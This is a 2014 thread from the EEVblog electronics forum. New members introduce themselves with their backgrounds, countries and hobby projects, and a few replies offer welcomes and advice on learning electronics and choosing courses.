Post by: dajt on May 25, 2014, 11:02:27 pm
Hi all,

I'm David, a software developer (can't call myself an engineer, no degree).

Ever since I had a C64 and looked around inside it I wanted to be able to understand what the bits did. From assembly language up it's never been a problem but the inner workings of hardware remained mysterious.

My current projects are:


Analogue electronics is beyond me, I just don't get it. But the digital stuff seems understandable so that's where I'm playing.

I'm quite enjoying the videos and the blog. As my wife says, "you're watching your favourite noisy person again" if EEVBlog is on the Apple TV.

Regards,
David.
Title: Re: New Member, Please introduce yourself
Post by: madshaman on May 26, 2014, 02:25:08 pm

Hi all,

I'm David, a software developer (can't call myself an engineer, no degree).

Ever since I had a C64 and looked around inside it I wanted to be able to understand what the bits did. From assembly language up it's never been a problem but the inner workings of hardware remained mysterious.

My current projects are:

  • A Z80 micro. Still playing around with a debugging board for it using an Arduino Nano clone as a sort of supervisor. Now having to get clever due to lack of I/O pins!
  • Using Pololu Wixels to make model trains RF remote controlled. Got a basic version going.
  • Servo control and electronic interlocking for model train turnouts.
  • Making a tank for the kids using Tamiya chassis/tracks/gearbox and a Wixel. The turrent will use a stepper motor and a small red laser.

Analogue electronics is beyond me, I just don't get it. But the digital stuff seems understandable so that's where I'm playing.

I'm quite enjoying the videos and the blog. As my wife says, "you're watching your favourite noisy person again" if EEVBlog is on the Apple TV.

Regards,
David.

Hi dajt, I'm also a former 8-bit assembly hacker.

You'll be into analog soon enough ;-)
Title: Re: New Member, Please introduce yourself
Post by: dajt on May 26, 2014, 11:20:59 pm
Hi dajt, I'm also a former 8-bit assembly hacker.

You'll be into analog soon enough ;-)

Hi madshaman,

What micro did you have? I hope the analogue stuff sinks in eventually, but right now even something like an RC circuit baffles me. Sad, I know.
Title: Re: New Member, Please introduce yourself
Post by: DeepSOIC on May 26, 2014, 11:43:26 pm
Hi!
I am doing some physics photochemistry in university. Photochemistry is full of BS IMO.
Electronics is my hobby. I build some stuff for fun, mostly trying to invent something or do common stuff the uncommon way.
Title: Re: New Member, Please introduce yourself
Post by: madshaman on May 27, 2014, 03:30:10 am

Hi dajt, I'm also a former 8-bit assembly hacker.

You'll be into analog soon enough ;-)

Hi madshaman,

What micro did you have? I hope the analogue stuff sinks in eventually, but right now even something like an RC circuit baffles me. Sad, I know.

The first computer I ran one of my programs on was the Commodore Vic20 (but BASIC).

The first micro I did assembly on was the 6809; I had a cheap Radio Shack Color Computer 2 (the only computer I could afford).

I later did 6502.

I actually own quite a large collection of 8-bit computers (also 16-bit and 32-bit); I think there's worse things to cut your teeth on than slow underpowered 8-bit micros with at most 48K or so of useable RAM, usually more like 3.5K - 16K.

When I lived in Montreal, a few of them were running and networked.  They're in storage now until we move where I plan to set them all up and network them one by one (usually this is just providing disk drive emulation with data from remote storage; but a TCP/IP stack is not out of the question for machine with halfway decent RAM).

For the analog, I think the first time you come across a task that can be done digitally but is easier with analog (e.g. a simple control loop can be implemented with an opamp or with a uC and A/D conversion).

There are many good reasons to learn analog and RF even if you're only doing digital stuff; particularly when troubleshooting because analog stuff can go wrong with a digital circuit (e.g. amplified noise, unwanted oscillations, reflections, group delay, parasitics, regulation dropout, EMI reception or production ...)
Title: Re: New Member, Please introduce yourself
Post by: rob77 on May 27, 2014, 02:00:12 pm
Hi There,

didn't noticed this thread earlier, so let me introduce myself (after 2 days on the forum).

My name is Robert, i'm living in a small country Slovakia right in the centre of Europe. I got my first soldering iron when i was 10 (26 years ago). i did a lot of stuff, but then (15 years ago) switched to networks and computers and  completely forgotten my first love.

Dave's videos inspired me to get back to the roots, so i tooled and stocked up my lab (2 square meters  lab - but got a window there :-DD ) a few months ago.

my current projects in progress (doing them for fun and learning)

1. DC motor driven 3 axis CNC mill - complete design (electronics, software..everything from scratch)
2. signal generator

my gear:
Solomon SL20 soldering station
Pro'sKit SS-969 hot air
Manson HCS-3202 1-36V 10A SMPS lab supply
Hantek DSO1102B  2x100MHz handheld scope
CEM DT-9935 LCR meter
Pro'sKit MT-1860 autorange DMM
couple of no-name cheapo DMMs (i'm not working with mains - so don't care about CAT ratings).
Title: Re: New Member, Please introduce yourself
Post by: serafimsaudade on May 27, 2014, 02:40:14 pm
Hi,

My name is Luis, I'm from Portugal,
I have a degree in electronic eng. and I work as firmware/software developer.

I follow the EEVblog from the begin and now is time for me to introduce in the forum.  :D
Title: Re: New Member, Please introduce yourself
Post by: rageoftheblacksmith on May 28, 2014, 12:11:45 am
Hi everyone,
i'm Lorenzo from Italy; i love DIY and i've been interested in electronics for a long, long time.
Found out this forum after some link hopping brought me to Dave's blog and i hope i'll have a good time here.
I also hope i'll receive some good advice from people who know much more than i do on electronics.
Ciao,
rageoftheblacksmith.
Title: Re: New Member, Please introduce yourself
Post by: n0rd on May 29, 2014, 01:59:05 pm
G'day EEVblog forum members.
 :-+
Title: Re: New Member, Please introduce yourself
Post by: intercomposed on May 29, 2014, 04:27:42 pm
Greetings,
I am from the USA and in my third semester course of Power Engineering and Renewable Energy in south-west Germany. I'm interested to expand my practical knowledge and abilities in electronics. =)

I will be honest, that even though I have already done a few semesters of engineering, my interest for electronics is quite new. I realize that I am someone studying Power Engineering (besically electrical engineering), but I was and am (more consciously now so) one of these ignorant newbs that came into an engineering class for the reasons like high math grades, general interest in engineering, programming, renewable energy, changing the word, working behind the scenes, etc. But there was not really much of an interest in the finer details of electrical engineering until I would say this year and my digital technlogy course and this kind of link between digital and analog electronics. Now I am motivated to uncover more of this great big ocean of electronics and I seem to be in a good place to go after this interest. I feel however that I need some more understanidng in general, though my labs this semester have helps a bit, but I want to be better than the average person in the tech labs…

So the biggest question in my mind is, outside of my engineering program, how do I learn electronics? Should I actually just try to do well in my classes exculsively and try to understand these courses well? Or are there books, materials that can make both my future semesters and an interest in electronics easier to excell in?

I mean, I already have many pdfs, some of which I am starting to print out, just for personal preference. I have actually quite a library. Some of the books I have gotten from links on this forum.

Oh yeah, And another question, though it may sound completely strange, it doesn't really make sense with regards to electronics, but does anyone know of good audio (beginner) lectures on any of these subjects related to electronics? I find this easier and I could listen to these lectures during idle moments, conventient.

Thanks for maintaining such a nice community it seems! =)
Title: Re: New Member, Please introduce yourself
Post by: NYbill on May 30, 2014, 12:08:23 pm
Hello EEVblog forum crowd. I'm NYbill.  I'm from New York State in the US.

I can usually be found online in Linux or Linux/tech podcasting circles. But, I've also been a life long tinkerer and electronics geek.  I stumbled on a random EEVblog episode on youtube about 6 weeks ago and I'm hooked! I've since gone back to episode one and started watching them sequentially.  I'm now in the 500's (and have watched probably 85% of them).  Dave's voice is stuck in my head! Oo

Wow, great stuff.  I thought it was about time I signed up here and poked around.

Thanks everyone for sharing knowledge!
Title: Re: New Member, Please introduce yourself
Post by: zeryl on June 02, 2014, 03:03:18 pm
Howdy folks.  Zeryl/Matt/KC0UDT from just outside St Louis, MO.  Have been watching the back-log of videos almost obsessively. I like to tinker, and have some very basic basics under my belt.  I've learned quite a bit watching so far, and enjoy watching the teardowns most of all.  Thank you to everyone who makes this possible!
Title: Re: New Member, Please introduce yourself
Post by: qp290 on June 02, 2014, 10:57:49 pm
G'day mates. After watching Dave's videos for 2 years+ I've finally joined his lovely forum.

Studying Electronic Engineering at the University of Sheffield in the UK.
Hope you are all having a good week.

-qp
Title: Re: New Member, Please introduce yourself
Post by: Xkonti on June 04, 2014, 08:08:24 pm
Hello Everyone!
My name is Beniamin and I am from Poland. I don't remember how I found Dave's channel on YouTube but it was some time ago. For now i'm watching backlog of videos (475/625 so far).
My electronics knowledge isn't good. I have some basics, mainly practical, not theoretical. When I was child I always wanted to learn electronics, but I haven't way to do this. About year ago i bought Arduino Due and some components. For programmer like me it was something amazing. Since then I'm slowly but surely learning electronics and EEVBlog is really helpful.
As I mentioned, I'm more software than hardware guy. I think it's because the knowledge. I hope joining here will improve my skills in electronics (especially hardware side) and maybe I could add something constructive to the community :)
Title: Re: New Member, Please introduce yourself
Post by: kjn4685 on June 05, 2014, 01:39:34 am
 I am 62 and I got involved in electronics in 1960, but for about 20 year's I got away from it and about 1979 I went back and started studying. I have no formal schooling all self taught.
Title: Re: New Member, Please introduce yourself
Post by: eruat on June 09, 2014, 03:09:23 am
Hey guys,
Just joined the forum after watching Dave for a few months on the YouTubes. Currently a 2nd year Business student at Auckland University of Technology in New Zealand. Electronics is something I've always been interested in and really enjoyed the taste I got of it in High School. So not currently in the industry, but still really interested as a sort of general interest/hobby type thing  ;D
Title: Re: New Member, Please introduce yourself
Post by: sgofferj on June 09, 2014, 08:39:44 pm
Hi,

40-something years old German, living in Finland. Tinkering with electronics as a hobby on and off since about age 15 but still not really great at it :). 18 year Linux user and 9 years proudly 100% Microsoft-free. Since 2 years doing more electronics stuff again, primarily in the UAV area but also lots of "simple" stuff like building a weather station with Arduino and so on.
I found this forum through that guy who makes the really cool review videos and stuff on YouTube.

-Stefan
Title: Re: New Member, Please introduce yourself
Post by: ryanralph on June 10, 2014, 01:55:55 pm
Hi All,

I'm Ryan, an electrical engineering student at RMIT in Melbourne Australia. I love a bit of electrical/electronics DIY and programming/linux.

Been a while since I've signed up to a forum, thought I'd make a post to verify I'm human.

Ryan
Title: Re: New Member, Please introduce yourself
Post by: atferrari on June 10, 2014, 08:49:15 pm
¡Hola!  from Buenos Aires - Argentina.

Sea going Captain, working ashore for more than 23 years as Marine Surveyor / Supercargo, after spending 17 years at sea. Thinking of moving soon to a better place, most probably out of this city and expecting to slowdown in my job.

I dabble in analogic and digital (various flavors), quite frequently in designs going as proof of concepts, most of them started as a challenge to myself.

I can see that sarcasm and flaming are not frequent here.   :-+
Title: Re: New Member, Please introduce yourself
Post by: ronniegogs on June 11, 2014, 05:24:04 am
Hi All,

I am Ronnie and I currently live in Singapore.

I have been interested in Electronics since childhood. I have a degree in Electrical and Electronics engineering although I haven't worked in core engineering job since graduation. I liked to build small problem solving robots during college days and now I am a RC hobbyist mostly helicopters. Currently I am planning on different electronics projects and setting up a small lab.

Came upon this forum from the youtube channel of Dave and loved it.

Hope I enjoy my membership here.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: Nazareth on June 12, 2014, 08:58:12 pm
Hi All,
        I already posted a couple of times and didn't come across this until now. This a great site with great information and help as well. I am currently living close to Cape Canaveral in Florida, USA (get to watch the launches all the time). Unemployed at the moment but working at a new career in electronics. I came across this site while looking for guitar tube amplifier repair info. My hobbies are, guitar, ham radio, fishing, target shooting (haven't gone hunting yet), golf, photography, electronics repair, flea markets and ham fests. I'm 46 and have been to a variety of different countries. Got any questions just ask. See ya around the forum.


Naz   
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on June 12, 2014, 09:15:30 pm
Hi Everybody,

I always try to wear a smile and joke around. I like to get informative ideas and I like the business of Electronics. I am happy to provide you the valuable services & products. Anything else you want to know, you can ask me without any hesitation. Thanks

 So basically your a salesman?   :-DD

Just kidding, welcome to the forum.
Title: Re: New Member, Please introduce yourself
Post by: gildasd on June 18, 2014, 10:31:35 pm
Hello,

I'm Gildas the annoying Frenchman.
Previously a industrial designer.
Now studying to be an Engineering Watch Officer (Unlimited ships mechanic).

Came across EEV while searching for info on multimeter.

Not really an electronics devotee, yet I must become one because commercial vessels are getting more loaded with PCB's each day that goes by.

G.
Title: Re: New Member, Please introduce yourself
Post by: WackyGerman on June 22, 2014, 03:47:07 pm
Hi there

I am Joern from Germany and live next to Hamburg . I am electrician since 1991 and found the multimeter review from Dave at Youtube . When I looked at his blog I found many many interesting stuff for myself . I am really interesting in electronics and I am going to built up an electronics lab . Some stuff still is missing but  I am sure that I will find it in a couple of time for a good prize , lots of stuff is really overprized here in Germany so I need some patience to make it .
Title: Re: New Member, Please introduce yourself
Post by: madshaman on June 23, 2014, 02:11:21 pm

Hi there

I am Joern from Germany and live next to Hamburg . I am electrician since 1991 and found the multimeter review from Dave at Youtube . When I looked at his blog I found many many interesting stuff for myself . I am really interesting in electronics and I am going to built up an electronics lab . Some stuff still is missing but  I am sure that I will find it in a couple of time for a good prize , lots of stuff is really overprized here in Germany so I need some patience to make it .

Welcome, I love German equipment, and it *is* pricey.  I've found eBay and patience are your friend.  The best grabs I've got were from sellers who buy large surplus lots (base/lab/whatever closes) has a tech do a quick test to bin equipment into: powers up - no errors, powers up - errors, doesn't power up or is physically damaged.

If noone notices an item, you can get stuff in the first category at minimum bid (snipe of course).

I've gotten some good Rohde & Swarz/Hameg gear this way.
Title: Re: New Member, Please introduce yourself
Post by: What_NZ on June 24, 2014, 03:09:36 am
Hi all. I'm from Auckland New Zealand. Currently retired. An Electronics Technician by trade, who specialised in the Service and Training areas of Consumer Electronic products. My passion is repairing things, fault finding techniques and circuit diagram understanding. I also enjoy designing and building up microprocessor gizmo's both networked or standalone, Computer hardware, Networking, reverse engineering..... oh it would be easy just to go on and on...... Needless to say "I love everything about electronics, a typical nerd" -lol
Title: Re: New Member, Please introduce yourself
Post by: zelthk on June 24, 2014, 11:49:46 am
Hello im robert. Im from maffra victoria australia. My hobbies include fixing an moding comunications equipment. fixing an building computers. anything to do with linux and obviously electronics. Im not a greeny but theres so much electronics being thrown away an i like collecting it an fixing or moding into better things.
Title: Re: New Member, Please introduce yourself
Post by: kamaangir on June 24, 2014, 01:05:54 pm
Hello All, I am a fire and security engineer living in the UK. I have always liked electronics and electrical systems but my hobbies and interest are far and wide, (in the process of building a turbo jet engine!)

I look forward to sharing information and experience with every one.


Cheers

Arash
Title: Re: New Member, Please introduce yourself
Post by: TechDeck on June 25, 2014, 08:19:08 pm
Howdy Gents,

Technician from the midwest.  Trained in the US Navy.  Im far from a design genius but I can fix it if it's broken.  I look forward to conversing/collaborating with you all.
Title: Re: New Member, Please introduce yourself
Post by: kebbanalex_ on June 26, 2014, 03:18:10 pm
Hi, My Name is Alexander and I am a computer and a electronics hobbyist at age 14 and I live in Sweden, Stockholm and came across the EEVBlog on youtube first when searching for a good video on how to solder. I hope I will bring something to the forums and learn from it, maybe find some friends who knows  ;)

-Alex
Title: Re: New Member, Please introduce yourself
Post by: beretmaster on June 28, 2014, 06:51:11 am
Hi, I am James, I am from New Zealand. I work as an industrial electrician and have gotten into electronics through that field. I am starting to set up a lab for myself and build some stuff! Currently building my first power supply, its a start:)

-James
Title: Re: New Member, Please introduce yourself
Post by: QuantumPhys on June 28, 2014, 11:30:42 am
Hi,

  I am a student in Grade 9 living in New York. I was born in China and have also lived in Singapore. I am mainly interested in RF and analog, doing many random projects like pulse generators, gain blocks, LNAs, and DIY spectrum analyzers. Have been doing electronics since I was 9, started with 8051s, then to arduino, then arm cortex, then to analog, and now to RF.

  I will never claim that I learnt anything over the years: I still can hardly code, will take years to make something in digital, always have to refer to books for analog, and must cheat using simulators and calculators for RF as my Maths is terrible. However, I still enjoy electronics and love test gear!

  I have been following EEVblog since approximately eevblog #120, and  I really hope that I can learn a lot on the forums and enjoy electronics!

-quantphys
Title: Re: New Member, Please introduce yourself
Post by: Travis P on June 29, 2014, 10:51:52 pm
Hi, my Name is Travis Piper and I hail from Michigan in the United States. I'm no "expert" on much but I've had a fair amount of electronics pass through that I've gained experience off. I figured this would be a good place to start on expanding my knowledge. I am a computer Technician doing freelance work. I guess my obsession started when I found out my dad had worked at an electronics store and has a big stash of rare electronics hiding in the basement. I also like to tear things apart that got me into a lot of trouble when I was young. ;) I also like the great outdoors as I was a Boy Scout. You'd be hard pressed to see me sitting in a boring office chair for more then 5 minutes. If you have computer questions I will gladly help as well. If I have questions I will let YOU know too.  8)
Title: Re: New Member, Please introduce yourself
Post by: Julian on July 06, 2014, 02:44:58 pm
Hello,

my name is Julian and I am studying "computational engineering" (at least thats wikipedias translation of it) and I am in the final phase of writing my diploma thesis (a german specific degree rated between a masters and a bachelors degree on the international credit point scale). The EE part of my university course was very basic so after watching a lot of Daves videos I thought registering here might be a god idea. I love embedded programming and I also like to void warranties (who doesn't?).

-Julian
Title: Re: New Member, Please introduce yourself
Post by: kiarasmith015 on July 11, 2014, 08:15:26 am
Hey everyone!! I’m Kiara Smith. I've been doing electronics for about 1 year. And my favorite things to do with electronics are PCB manufacturing! Besides electronics I like music!!  :)
Title: Re: New Member, Please introduce yourself
Post by: simplifyiyuk on July 13, 2014, 03:13:35 pm
hello,

I'm Si
I'm a consumer electronics repair tech (board swapping monkey) who asks why too much  :P
So most of my knowledge is gained through that.
Printers are my mainstay (not glamorous but somebody has to do it) but also do TVs, Laptops, Projectors and alike on a daily basis.
I'm no stranger to dumpster diving and can often be found weeping over the smashed chassis of 'surplus' test gear
Title: Re: New Member, Please introduce yourself
Post by: gnasirator on July 13, 2014, 04:06:08 pm
Hey there,

I'm an electronics engineering student from Germany.
I'm active in the formula student design competition (http://www.horsepower-hannover.de/ (http://www.horsepower-hannover.de/)), like working with Altium Designer and fiddling with µControllers and I'm planning to move to NZ next year with my girlfriend.  :-+
Title: Re: New Member, Please introduce yourself
Post by: winfreak on July 14, 2014, 09:00:57 am
Hi!

My name's Thomas and I'm one of the "young players" - a novice hobbyist who is willing to learn from Karlsruhe, Germany ;)
I work in the field of IT, so mostly, I have to deal with running cables and working with (crappy) software :P
The EEVBlog basically inspired me to do a little more electronics work and they are fantastic for both learning AND enternainment.

As far as projects go, I have done "next to nix" as Dave likes to say it, but I hope that advances soon :P
Title: Re: New Member, Please introduce yourself
Post by: benandrews on July 15, 2014, 07:24:09 pm
Hi Guys and Gals,

I'm Ben, I'm a hobbyist that's been tinkering with SMPS most recently and a little bit of valve audio. I've had very little formal training in electronics, but studied physics at uni about 10 years ago so some of the concepts i'm OK with, but I'm sure i'll have lots of numpty questions for the veterans.

I worked in IT after uni, so picked up some software code fudging skills before going off on a tangent and doing the hotel / scuba thing in Asia for a couple of years.  :blah:

Well, right now, I'm fortunate enough to have time to do whatever which right now is blowing up capacitors in my shed.

I've been watching Daves blog for a while, and love it.

I'm hoping i can get stuck into some collaborative projects on here.

Anywho, that's my piece, thanks for reading. :)
Title: Re: New Member, Please introduce yourself
Post by: KIKi on July 18, 2014, 09:20:54 am
Hi everyone,

My name is Kristijan from Croatia. I'm an electrical engineering student and currently working on my master thesis (in Germany). My main interests are in the embedded world, PCB design and recently in the electromagnetic compatibility. I also have a lot of experience in web design/programming and desktop programming.

I've just started working on the remotely accessible battery powered PSU, so I will share my design and results soon.

 ^-^

Title: Re: New Member, Please introduce yourself
Post by: darklighthim on July 20, 2014, 06:25:11 pm
hi guys, i'm 27 from scotland who has only recently started watching the EEVblog videos on YouTube.

I guess you could call me a novice at electronics since i've never really done much apart from take stuff apart that's broken (And end up breaking it more) or old stuff that's useful. I am competent in building PC's and repairing them but that's about it.
Title: Re: New Member, Please introduce yourself
Post by: OilsFan on July 21, 2014, 05:05:10 am
Hi all, my name is Jason and I consider myself a newbie at electronics though I have been soldering cables and fixing/building small devices for years. I mostly tinker with musical instruments like guitars, stomp boxes, amps, keyboards/synths and rack mount gear. I might be able to help with that stuff especially if it's 70's/80's/90's vintage stuff.

Also in my day job I am a Chief Lighting Technician (Gaffer) in Los Angeles and I know quite a bit about lighting, grip and camera stuff after 12 years in the business. Thanks for the help so far and I will be posting repair questions shortly! Thanks to Dave for the great videos!
Title: Re: New Member, Please introduce yourself
Post by: geekGee on July 26, 2014, 04:41:48 am
Hi All,

I'm a middle aged IT professional and total newb in electronics but am enjoying the learning process.  I am a loyal viewer of Dave's videos along with those of Martin Lorton.

Here's hoping that Dave will continue to educate and entertain us for a long time to come.

Howard
Title: Re: New Member, Please introduce yourself
Post by: Boltar on July 26, 2014, 11:34:21 am
Hello everyone.

Only just signed up and thought I'd wave a hand. I've watched a lot of Dave's videos on YT and they've been very helpful to me. I'm doing a high power electronic cigarette controller design at the moment. Since I only really got into electronics when I started this project last year, I'm still a bit green but I've been learning fast. My earlier results were semi-successful but plagued with newbie mistakes. Well I suppose that;s how to learn.

Cheers all,
Marcus

EDIT: Oops that's a good start I didn't notice the "Introduce" thread at the top. Thanks for moving my post here. *blush*
Title: Re: New Member, Please introduce yourself
Post by: Gietek on July 27, 2014, 07:15:05 am
Hello! all, My name is Greg and I'm Polish. I am electromechanical automotive spare time I take to be electronics (hobby) I think I could be a lot to learn from you, of course, he will give of myself as much as I'll be able to.
Yours! O0
Title: Re: New Member, Please introduce yourself
Post by: Bodgewire on July 30, 2014, 02:03:58 am
Hello EEVBLOG Forum,
      My name is Joseph. I'm a fourth year EE student transferring to Arizona State University this fall. Big fan of eevblog on Youtube, and finally decided to join the forum. My current (horrible pun intended) area of study is RF and antenna design. This is the first online forum I've ever joined, so I hope I can make a meaningful contribution!
Title: Re: New Member, Please introduce yourself
Post by: bosummer on July 30, 2014, 07:45:24 am
Hello, My name is Berlin with 8 years working experience in laser diode technology. I spends a lot of time on developing industrial applicable laser products.
Title: Re: New Member, Please introduce yourself
Post by: allikat on July 31, 2014, 02:53:24 am
Allison.  I'm a former IT and network tech, now a lorry driver (aka truckie) over here in England.  I used to play with electronics as a kid, which developed into a PC interest back when home micros came out.  I wish I could find my dad's old copies of Byte, the photographs of the original IBM PC board prototypes with hundreds of bodge wires across the back were amazing.  We just don't get that level of coverage any more.

Love Dave's videos, and they've inspired me to start looking into doing some electronic stuff again.
Title: Re: New Member, Please introduce yourself
Post by: RyanAMT on July 31, 2014, 03:14:18 am
Hi  everyone I'm Ryan.  I currently work in media and video technology for a large university doing everything from production to AV system design and maintenance.  My background is in film and television production with a strong concentration in broadcast engineering, mainly signal flow and processing and not a whole lot of wireless RF.  I have been tinkering around with electronics and taking things apart for as long as I can remember.  I'm mainly interested in control systems, LEDs, and AV technology.  I also have a background in mains electricity in commercial and residential settings.

I'm really enjoying the forums so far and I have been an avid subscriber and viewer to Dave's YouTube channel since I stumbled upon it a little over a year ago.
Title: Re: New Member, Please introduce yourself
Post by: Dolganoff on July 31, 2014, 10:01:56 am
Hello, everybody,

I am Alex, IT professional by trade, and electronics hobbyist since early age (started when I was about 15, I believe, and now I am 40-something).
For few last years I was ramping up my knowledge to "production" quality PCB making and possibly opening small side business designing and manufacturing music-related equipment... we'll see how this goes.

Title: Re: New Member, Please introduce yourself
Post by: 1xrtt on August 01, 2014, 04:23:45 pm
Hello,
My name is Luciano and I'm an old EE who moved away from the bench, back in 1993, to work on Telecom and IT, but for the past two years re-discovered Electronics as a hobby.
I was lurking around the forum for over an year, and only now got the nerve to register and start posting.
Title: Re: New Member, Please introduce yourself
Post by: Davi on August 02, 2014, 10:19:34 am
Hey everyone, this is probably going to be a long one but thought I'd give you a good background on me and why I'm going to be asking so many questions. I'm looking to train for a career change and have been trying to do some research into what courses and routes are available to me.

I originally went to university to study network computing but it wasn't the right course for me. I had a number of issues and this led to me dropping out in my final year. Not wanting to be lazy and have no trade I immediately started a two year course in light vehicle maintenance and repair. I had wanted to be a mechanic since I was younger but let everyone talk me out of it. For almost two years I worked my a**** off studying 20 hours a week, working full time 40 hours a week and also working part time on a casual basis, I didn't know what sleep was. After finishing my course it has became apparent that due to my age and inability to complete an apprenticeship that my certificates are worthless as no one hires you in the motor trade unless you are time served. I don't want to make the mistake of wasting my time by training for a job I'm never going to be hired for again, which is the reason I'm here.

While Looking for job on-line I keep seeing jobs that I would quite like to do but that require either electronic, mechanical or production engineering. I would say that 90% accept the electrical. These are jobs such as factory maintenance, lift engineers, automated gate installation etc etc. I think that I would really enjoy these types of job and be able to bring in my computer knowledge from uni as well as my mechanical knowledge from college. Very few of them mention needing to be time served, most state HNC, HND or degree. I have emailed a few companies (amada and trumpf to name 2) who I was able to get a recruitment email address for and it seems as if they are willing to accept these without an apprenticeship.

My plan is to study a btec through ICS in electronic engineering.

http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx (http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx)

This I believe should bring me up to scratch and fulfill the entry requirements to start a HNC through Teeside.

http://www.tees.ac.uk/parttime_courses/Engineering/HNC_Electrical_and_Electronic_Engineering_by_Flexible_open_learning.cfm (http://www.tees.ac.uk/parttime_courses/Engineering/HNC_Electrical_and_Electronic_Engineering_by_Flexible_open_learning.cfm)

After which I can start the HND and hopefully after wards find a way of completing the degree.

I enjoy, for lack of a better word, playing with electronics. I watch videos on-line, read maplins/cpc catalogs. I always did well on the electronics part of my car mechanics course and when applying for uni my first time round all of them apart from the one I actually undertook had a large amount of electronics work.

At the minute I'm trying to find a new job which would free up enough time that I could devote to study so making use of this job searching time to do as much research as possible. ANY pointers and advice you could give me would be most welcome. Thanks for reading my rather long winded intro.
 
Davi
Title: New Member, Please introduce yourself
Post by: Roboss on August 02, 2014, 12:58:13 pm
Greetings all.

Found Dave's channel a while back but didn't really get into the forum.

I not really into electronics a great deal I much prefer engines and mechanical things because you can open them up and actually see what happening.

Anyway recently a friend handed me a broken home theatre unit which wouldn't power on.

I was hopeing for bulging caps but nothing was initially obvious.

I grabbed myself a Fluke 117 and DE-5000 off ebay.

Eventually found the problem a ninja 22uf cap that had popped the bottom out and a shorted diode.

Grabbed $2 worth of parts from Altronics and I've got myself an almost free $600 home theatre system. Wheeeew

Great success.
Title: Re: New Member, Please introduce yourself
Post by: bwat on August 02, 2014, 01:17:05 pm
My plan is to study a btec through ICS in electronic engineering.

http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx (http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx)

You better read this:
https://www.eevblog.com/forum/projects/warning-do-not-get-a-qualification-with-ics-learn-in-the-uk-(btec-l3)/msg486201/#msg48620 (https://www.eevblog.com/forum/projects/warning-do-not-get-a-qualification-with-ics-learn-in-the-uk-(btec-l3)/msg486201/#msg48620)
Title: Re: New Member, Please introduce yourself
Post by: Davi on August 02, 2014, 03:50:43 pm
My plan is to study a btec through ICS in electronic engineering.

http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx (http://www.icslearn.co.uk/distance-learning-courses/btec-level-3-certificate-in-electronic-engineering.aspx)

You better read this:
https://www.eevblog.com/forum/projects/warning-do-not-get-a-qualification-with-ics-learn-in-the-uk-(btec-l3)/msg486201/#msg48620 (https://www.eevblog.com/forum/projects/warning-do-not-get-a-qualification-with-ics-learn-in-the-uk-(btec-l3)/msg486201/#msg48620)

Thanks bwat. Thats certainly something to bare in mind.
Title: Re: New Member, Please introduce yourself
Post by: DeathTickle on August 02, 2014, 04:12:17 pm
Hi all,

I have been reading the forum a lot but never really posted or introduced myself.

I'm a student in Paris, France. I love working on embedded system design. I have done a few projects with Arduino, PICs and even a Xilinx FPGA! I was using development boards but always tried to lay out the design on my own for training. This helped get familiar with layout in Eagle (which hasn't been taught in my school yet). But I have never gotten any of my boards made in a fab.

One of the projects I want to finish (and start :P) in the coming year is the low cost bullet time camera rig Mike proposed in a video. If any of you have thoughts about it I would love to hear them as I am still a newb engineer. I will get started slowly in September as I don't have any tools. I plan on using the development boards and the gear my school can provide.

Since I don't have any gear of my own I am regularly looking for lab gear to help me in my coming projects. The portable lab (portolab, as Chris calls it) is a project that interests me as it fits my needs. I think it is a great way for students to equip themselves and suits their lifestyle. We all know university gear is never enough :P.

Also, I now own a 3D printer which I built from a kit but it isn't working yet.
Title: Re: New Member, Please introduce yourself
Post by: wyphy on August 06, 2014, 03:30:31 am
Howdy all, Wes here from Kansas, USA.

Been following Dave for a number of years and figured it was about time I joined up as I've got a project I'm "designing" and thought it would be a good idea to get some feedback.  Just posted it in case you're interested; it's a 10MHz OCXO frequency reference.

Work is almost completely unrelated, but I've tinkered with electronics and built a few kits, and even had some formal schooling in electronics quite a few year back. I'm also an amateur radio operator.

Looking forward to seeing all the great stuff posted here and watching all the mailbags, teardowns, rants, and reviews of Dave and everyone here on the forums.

Cheers.
Title: Just say hello
Post by: Hootch on August 07, 2014, 07:03:02 pm
Hi everyone!
I just want to say hello to you all, after joining the forum today. My name is Stefan and I'm from Germany. I am 36 years old, and I'm an electritian by profession (and by passion). I restarted my hobby, electronics, after a few years of abstinence, but now in a littlebit more professional way (although I am aware of the fact, that it is far far away from being really professional): now I own a bit more than a 20€ multimeter, a very lowcost soldering iron and a few electronic parts from used and damaged devices :) .
Please be patient with me, for I do speak (and write) just ordinary school-english (with a little influence from various TV-series and movies).
And Dave, thank you. Thanks very much for giving us all the oppportunity to chat on this forum as well as for your Videos, they are as educational as they are entertaining.

Or, in one sentece (to be read with a german accent):
Hallo! Zear I amm!

Greetings!
Title: Re: Just say hello
Post by: Prime73 on August 07, 2014, 07:09:45 pm
Hello :) Welcome to the forum
Title: Re: New Member, Please introduce yourself
Post by: Bob Scott on August 09, 2014, 12:36:18 pm
Hello everyone,

I've been lurking here for a few weeks and thought it time I introduced myself. My name is Bob, I'm 69 years old and live near Cambridge in the UK.

I've been a computer programmer for the past 40 years (Cobol, C, C++ ......) but have always had an interest in electronics and hardware but have never really got deeply into that side of things.

I am still programming but I want to learn more about electronics and especially microprocessors.

I enjoy Dave's blog and have found it and the forums very informative as I set out to build a basic lab.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: OutOfRange on August 10, 2014, 07:43:13 pm
Hello out there

I'm watching Dave's videos (along with other electronics related channels) for years now, but it took me till today to register here.

Well, what to say about me: I'm a 32 year old guy who's just interested in electronics, automation and everything surrounding it.
I've started my career by taking an apprenticeship as an electrician focused mostly on PBX and networking. To be fairly honest, I had the opportunity to choose between electrician and electronic technician and looking back I would make a different choice. After the apprenticeship I worked as a service technician in telecommunications and started studying automation technology for three years. During studying I changed into the machine industry working on the entire electric/electronic/software part of gear hobbing machines (which is quite a big business in Switzerland due to our big watch industry).
After studying and also because my employer went into financial trouble, I changed into the PLC/robotics programming business and worked over five years for a company that builds fully automated assembly lines, mostly for the automotive industry. It was a great time, and I do miss programming these big machines and bringing them to life, but sadly this business is pure frustration due to the lack of time and pricing pressure.
